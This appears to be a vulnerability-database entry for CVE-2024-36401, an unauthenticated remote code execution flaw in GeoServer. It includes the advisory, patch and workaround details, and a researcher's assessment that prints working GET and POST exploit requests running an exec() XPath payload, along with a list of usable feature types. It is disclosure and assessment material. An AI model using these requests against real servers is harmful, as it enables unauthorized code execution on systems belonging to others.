CVE-2024-36401

GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions 2.23.6, 2.24.4, and 2.25.2, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.

The GeoTools library API that GeoServer calls evaluates property/attribute names for feature types in a way that unsafely passes them to the commons-jxpath library which can execute arbitrary code when evaluating XPath expressions. This XPath evaluation is intended to be used only by complex feature types (i.e., Application Schema data stores) but is incorrectly being applied to simple feature types as well which makes this vulnerability apply to ALL GeoServer instances. No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests. This vulnerability can lead to executing arbitrary code.

Versions 2.23.6, 2.24.4, and 2.25.2 contain a patch for the issue. A workaround exists by removing the gt-complex-x.y.jar file from the GeoServer where x.y is the GeoTools version (e.g., gt-complex-31.1.jar if running GeoServer 2.25.1). This will remove the vulnerable code from GeoServer but may break some GeoServer functionality or prevent GeoServer from deploying if the gt-complex module is needed.

Recent assessments:

h00die-gr3y at July 10, 2024 9:41pm UTC reported:

GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.

In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. It is confirmed that is exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.

Examples of an evil XPath request.

GET method request using the WFS GetPropertyValue

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/pawned') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

POST method request using the WFS GetPropertyValue

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/pawned')</wfs:valueReference>
</wfs:GetPropertyValue>

When successful, the response will return a java.lang.ClassCastException error and file tmp/pawned will be created.

It is important that the typeNames or feature types like sf:archsites exists in the GeoServer configuration. Also some typeNames/feature types do not work. You can find a working list of default typeNames / feature types below.

allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']

There are multipe method request using different XPath expressions. You can find a full set of examples here.
It is Chinese, but Google translate can help you out here ;–)

I have created a Metasploit module that exploits this vulnerability. It works both on Linux and Windows (credits go to jheysel-r7 to make windows work!)

Mitigation

Versions 2.23.6, 2.24.4, and 2.25.2 contain a patch for the issue.

References

CVE-2024-36401
Metasploit Module – GeoServer unauthenticated RCE
POC examples in Chinese
GeoServer Advisory: GHSA-6jj6-gm7p-fcvv

Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 4